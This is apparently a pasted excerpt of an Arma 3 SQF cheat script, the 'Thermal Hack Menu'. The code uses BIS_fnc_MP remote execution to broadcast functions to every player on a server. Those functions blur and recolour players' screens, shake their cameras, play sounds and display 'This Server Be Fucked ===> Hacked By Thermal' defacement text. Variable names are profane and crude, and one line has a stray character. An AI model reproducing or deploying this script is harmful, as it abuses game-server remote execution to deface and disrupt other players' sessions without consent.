  720. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectAdjust[1, 1, 1, 0, 1];
  721. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectCommit 0;
  722.  
  723. sleep 1;
  724.  
  725. sleep 5;
  726. hint "Created By Thermal";
  727. [format["<t color=""#DB2B3F""><t size='1.1'>This Server Be Fucked ===> Hacked By Thermal (Thermal)" + "</t></t>", name player], 0.02, safezoneY - 0.1, 5, -1, 1, 3010] spawn bis_fnc_dynamicText;
  728. sleep 5;
  729. ppEffectDestroy PersonWhomMadeThis_is_one_crazy_motherfuckerv2;
  730. sleep 10;
  731. playSound "Worship";
  732.  
  733. PersonWhomMadeThis_is_one_crazy_motherfucker_color = ppEffectCreate["ColorCorrections", 1999];
  734. PersonWhomMadeThis_is_one_crazy_motherfucker_color ppEffectEnable true;
  735. PersonWhomMadeThis_is_one_crazy_motherfucker_color ppEffectAdjust[1, 1, 0, [1, 1, 1, 0], [1, 1, 1, 0.0], [1, 1, 1, 1.0]];
  736. PersonWhomMadeThis_is_one_crazy_motherfucker_color ppEffectCommit 0;
  737.  
  738. sleep 10;
  739.  
  740. ppEffectDestroy PersonWhomMadeThis_is_one_crazy_motherfucker_color;
  741.  
  742. };
  743. [] spawn PersonWhomMadeThis_is_madv2;
  744.  
  745. }, "BIS_fnc_SPAWN", true, false] call BIS_fnc_MP;
  746.  
  747. [{
  748. PersonWhomMadeThis_is_legit_Bae = {
  749. playMusic "Track11_StageB_stealth";
  750. cutText["", "BLACK OUT", 1];
  751. sleep 1;
  752. cutText["", "BLACK IN", 1];
  753. sleep 1;
  754. cutText["Created By Thermal", "PLAIN", 1];
  755. sleep 5;
  756. cutText["By Thermal", "BLACK OUT", 1];
  757. sleep 1;
  758. Sexy_Strippers_Lick_Mah_Nips = ppEffectCreate["colorCorrections", 1501];
  759. Sexy_Strippers_Lick_Mah_Nips ppEffectEnable true;
  760. Sexy_Strippers_Lick_Mah_Nips ppEffectAdjust[1, 1, 0, [0, 0, 0, -0.31], [1.9, 1.9, 1.73, 0.7], [0.2, 1.1, -1.5, 1.64]];
  761. Sexy_Strippers_Lick_Mah_Nips ppEffectCommit 0;
  762.  
  763. Sexy_Strippers_Lick_Mah_Nips = ppEffectCreate["colorCorrections", 1501];
  764. Sexy_Strippers_Lick_Mah_Nips ppEffectEnable true;
  765. Sexy_Strippers_Lick_Mah_Nips ppEffectAdjust[1, 1, 0, [0.0, 0.0, 0.0, 0.0], [0.8 * 2, 0.5 * 2, 0.0, 0.7], [0.9, 0.9, 0.9, 0.0]];
  766. Sexy_Strippers_Lick_Mah_Nips ppEffectCommit 0;
  767.  
  768. Sexy_Strippers_Lick_Mah_Nips = ppEffectCreate["colorCorrections", 1501];
  769. Sexy_Strippers_Lick_Mah_Nips ppEffectEnable true;
  770. Sexy_Strippers_Lick_Mah_Nips ppEffectAdjust[1, 0.21, 0, [0.1, 0, 0, 0], [3.59, 3.49, 3.78, 0.83], [-0.31, 0.08, 3.79, 5]];
  771. Sexy_Strippers_Lick_Mah_Nips ppEffectCommit 0;
  772. sleep 4;
  773. cutText["", "BLACK IN", 1];
  774. sleep 4;
  775.  
  776. playSound "Earthquake_01";
  777. enableCamShake true;
  778. sleep 2;
  779. addCamShake[5, 11, 10];
  780.  
  781. sleep 10;
  782.  
  783. playSound "Earthquake_04";
  784. sleep 2;
  785. addCamShake[10, 12, 20];
  786.  
  787. sleep 8;
  788.  
  789. enableCamShake false;
  790.  
  791. PersonWhomMadeThis_is_one_crazy_motherfucker_color = ppEffectCreate["ColorCorrections", 1999];
  792. PersonWhomMadeThis_is_one_crazy_motherfucker_color ppEffectEnable true;
  793. PersonWhomMadeThis_is_one_crazy_motherfucker_color ppEffectAdjust[0.5, 1, 0, [1, 1, 1, 0], [1, 1, 1, 0.0], [1, 1, 1, 1.0]];
  794. PersonWhomMadeThis_is_one_crazy_motherfucker_color ppEffectCommit 0;
  795.  
  796. Sexy_Strippers_Lick_Mah_Nips2 = ppEffectCreate["dynamicBlur", 505];
  797. Sexy_Strippers_Lick_Mah_Nips2 ppEffectEnable true;
  798. Sexy_Strippers_Lick_Mah_Nips2 ppEffectAdjust[.5];
  799. Sexy_Strippers_Lick_Mah_Nips2 ppEffectCommit 0;
  800.  
  801. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 = ppEffectCreate["filmGrain", 2005];
  802. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectEnable true;
  803. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectAdjust[0.02, 1, 1, 0, 1];
  804. PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectCommit 0;
  805. setaperture 25;
  806. sleep 0.01;
  807. setaperture 200;
  808.  
  809. sleep 5;
  810.  
  811. ppEffectDestroy Sexy_Strippers_Lick_Mah_Nips;
  812. ppEffectDestroy PersonWhomMadeThis_is_one_crazy_motherfucker_color;
  813. ppEffectDestroy Sexy_Strippers_Lick_Mah_Nips2;
  814. ppEffectDestroy PersonWhomMadeThis_is_one_crazy_motherfuckerv2;
  815. "dynamicBlur"
  816. ppEffectAdjust[0];
  817. "dynamicBlur"
  818. ppEffectCommit 16;
  819. "colorCorrections"
  820. ppEffectAdjust[1, 1, 0, [1, 1, 1, 0.0], [1, 1, 1, 1], [1, 1, 1, 0.0]];
  821. "colorCorrections"
  822. ppEffectCommit 0;
  823. setaperture 0;
  824. playMusic "";
  825. sleep 2;
  826. cutText["Olympus Entertainment", "PLAIN", 1];
  827. sleep 10;
  828. cutText["by Thermal", "PLAIN", 1];
  829. };
  830. [] spawn PersonWhomMadeThis_is_legit_Bae; g
  831.  
  832. }, "BIS_fnc_SPAWN", true, false] call BIS_fnc_MP;
  833.  
  834. };
  835.  
  836.  
  837.  
  838.  
  839.  
  840.  
  841.  
  842.  
  843.  
  844.  
  845.  
  846.  
  847.  
  848.  
  849.  
  850.  
  851.  
  852.  
  853.  
  854. //Last statements
  855.  
  856. hint "Shift F1 to open the Thermal Hack Menu!";
  857. };
RAW Paste Data
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